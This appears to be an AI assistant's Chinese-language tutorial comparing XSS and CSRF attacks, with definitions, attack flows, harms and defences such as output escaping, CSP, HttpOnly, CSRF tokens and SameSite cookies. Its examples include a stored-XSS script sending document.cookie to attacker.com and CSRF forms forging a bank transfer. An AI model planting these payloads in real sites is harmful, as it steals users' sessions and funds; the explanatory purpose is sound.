XSS(跨站脚本攻击,Cross-Site Scripting)和 CSRF(跨站请求伪造,Cross-Site Request Forgery)是两种常见的 Web 安全漏洞,它们的攻击原理、目标和防御方式有显著区别。下面将从定义、攻击流程、完整示例、危害、防御措施等方面进行详细对比说明。
一、XSS 攻击(Cross-Site Scripting)
1. 定义
XSS 是一种注入型攻击,攻击者通过在网页中注入恶意脚本(通常是 JavaScript),当其他用户浏览该页面时,脚本会在其浏览器中执行,从而窃取 Cookie、会话令牌、重定向到钓鱼网站等。
2. 攻击类型
- 反射型 XSS:恶意脚本来自当前 HTTP 请求(如 URL 参数),服务器直接将其嵌入响应。
- 存储型 XSS:恶意脚本被永久存储在服务器(如评论区、用户资料),所有访问该内容的用户都会中招。
- DOM 型 XSS:完全在客户端通过修改 DOM 触发,不涉及服务器响应。
3. 完整示例(存储型 XSS)
场景:
一个论坛允许用户发表评论,但未对输入做任何过滤。
攻击者操作:
在评论框中输入:
html
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
后果:
所有查看该评论的用户,浏览器都会执行这段脚本,将其 Cookie 发送给攻击者服务器。
4. 危害
- 窃取用户 Cookie / Session ID
- 劫持用户账户
- 执行任意前端操作(如转账、发消息)
- 钓鱼、挂马等
5. 防御措施
- 输入过滤与转义 :对用户输入进行 HTML 实体编码(如
<→<)。 - 输出编码:根据上下文(HTML、JS、URL、CSS)使用不同编码方式。
- 设置 HttpOnly Cookie:防止 JS 读取敏感 Cookie。
- Content Security Policy (CSP):限制可加载的脚本来源。
- 使用安全框架 :如 React/Vue 默认转义,避免直接使用
innerHTML。
二、CSRF 攻击(Cross-Site Request Forgery)
1. 定义
CSRF 攻击利用用户已登录的身份,在用户不知情的情况下,诱使其浏览器向目标网站发送恶意请求(如转账、改密码)。关键在于:浏览器自动携带 Cookie。
2. 攻击前提
- 用户已登录目标网站(如银行网站),存在有效会话 Cookie。
- 目标网站未验证请求来源(如缺少 CSRF Token)。
- 用户访问了攻击者控制的页面(如恶意广告、钓鱼邮件)。
3. 完整示例(转账 CSRF)
场景:
银行网站有一个转账接口:
POST /transfer
参数:to=张三&amount=1000
且仅依赖 Cookie 验证身份。
攻击者构造恶意页面(如 attacker.com):
html
<img src="https://bank.com/transfer?to=攻击者&amount=5000" width="0" height="0" />
或使用自动提交表单:
html
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="攻击者" />
<input type="hidden" name="amount" value="5000" />
</form>
<script>document.forms[0].submit();</script>
用户行为:
用户在已登录银行网站的情况下,访问了 attacker.com 页面。
后果:
浏览器自动携带 bank.com 的 Cookie 发起转账请求,成功转出 5000 元。
4. 危害
- 非授权操作(转账、删数据、改密码)
- 利用用户权限执行高危操作
- 通常结合 XSS 更危险(XSS 可绕过 CSRF 防御)
5. 防御措施
-
CSRF Token:每个表单/请求包含一次性随机 Token,服务端校验。
-
SameSite Cookie 属性 :
httpSet-Cookie: sessionid=abc123; SameSite=LaxStrict:完全禁止跨站携带 Cookie。Lax:允许安全方法(GET)跨站,阻止 POST 等。
-
验证 Referer / Origin 头:检查请求来源是否合法(但可能被伪造或缺失)。
-
双重提交 Cookie 模式:Token 同时放在 Cookie 和请求参数中,服务端比对。
三、XSS 与 CSRF 对比总结
| 特性 | XSS | CSRF |
|---|---|---|
| 攻击目标 | 用户(窃取信息、控制浏览器) | 应用(以用户身份执行操作) |
| 是否需要用户交互 | 通常需要(访问含恶意脚本页面) | 通常需要(访问恶意页面) |
| 是否依赖 Cookie 自动发送 | 否 | 是 |
| 能否读取响应内容 | 能(同源策略下) | 不能(受 SOP 限制) |
| 典型防御 | 输入/输出转义、CSP、HttpOnly | CSRF Token、SameSite Cookie |
| 能否互相利用 | XSS 可绕过 CSRF 防御(如窃取 Token) | CSRF 无法直接导致 XSS |
四、综合防御建议
- 对所有用户输入进行严格验证与转义(防 XSS)。
- 关键操作使用 CSRF Token 并验证(防 CSRF)。
- 敏感 Cookie 设置
HttpOnly+Secure+SameSite=Lax/Strict。 - 启用 CSP 策略,限制脚本来源。
- 定期安全审计与渗透测试。
如有具体场景(如前后端分离架构、API 接口等),防御策略可能需调整(例如 API 使用 Bearer Token 可天然防 CSRF)。欢迎进一步提问!